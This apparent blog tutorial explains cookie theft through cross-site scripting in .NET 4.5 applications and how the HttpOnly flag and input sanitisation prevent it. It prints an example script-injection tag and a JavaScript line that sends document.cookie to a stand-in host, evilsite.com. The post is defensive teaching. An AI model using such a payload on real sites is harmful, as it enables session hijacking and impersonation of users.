Web security in .NET4.5: cookie stealing

This post will discuss what cookie stealing means and how it can be prevented in a .NET4.5 web application – MVC or ASP.NET web proj.

Probably the most important cookies in the world of Internet are the authentication cookies. They store the necessary details of the logged-on user. They are passed along each web request so that the server can validate them on a protected web page. Other cookies store less sensitive data, such as user preferences.

Without the authentication cookies the user would need to log on to the web site on every web request even after the initial log-in. This is obviously very tedious so auth cookies have become indispensable. If an attacker manages to get hold of your auth cookie then they can impersonate you and do what they want using your identity and rights.

There are two types of cookies: session cookies and persistent cookies. Session cookies are stored in the browser’s memory and transmitted via the header during every request. Persistent cookies are transmitted the same way but are stored in a text file on the user’s hard drive. Session cookies become unavailable as soon as the session ends whereas persistent cookies will be available through subsequent sessions as well. This is the effect of the popular “Remember me” checkbox on login pages.

How can a cookie be stolen?

Recall that the auth cookie is passed along every HTTP request in the HTTP header. The attacker’s task is to somehow make the user’s browser send its cookies to their website. The solution will be running a bit of JavaScript code in the client browser. The script can be injected by a technique known as cross-site scripting (XSS) which means injecting JavaScript in the HTML so that it runs as soon as the page loads in the browser.

Imagine that you have a public forum where anyone can create an account and insert comments. If the contents of the textbox where the comments can be written are not sanitised well enough – i.e. checked for illegal characters, scripts – then the JavaScript code can slip through and be part of the generated HTML when the comment is shown on the screen. Then whoever loads that page will have a malicious script run in their browser. The reference to the script can be wrapped in other HTML tags. Example:

<img src=""http://www.nicesite.com/myprofile.jpg<script src="http://www.evilsite.com/evilscript.js">" />
<<img src=""http://www.nicesite.com/myprofile.jpg</script>"

The JavsScript file evilscript.js might look like this:

window.location="http://www.evilsite.com/evil.aspx?cookie=" + document.cookie;

When the browser loads and runs this bit of JavaScript it will transmit its cookies to evilsite.com.

You can do two things to prevent this type of attack:

1.) Sanitise ALL the inputs in textboxes and where-ever an external user can post his/her inputs. MVC4 does this automatically for you.

2.) Prevent cookie vulnerability by disallowing changes from the client’s browser. Stopping script access to all cookies in your site by a simple flag in web.config as follows:

<httpCookies domain="String" httpOnlyCookies="true" requireSSL="false" />

You can set this property for each of the site’s cookies in code as follows:

Response.Cookies["CustomCookie"].Value = "Custom setting";
Response.Cookies["CustomCookie"].HttpOnly = true;

HttpOnly tells the browser to invalidate the cookie if anything but the server sets it or changes it.

This simple technique will stop most XSS-based cookie problems.

You can view the list of posts on Security and Cryptography here.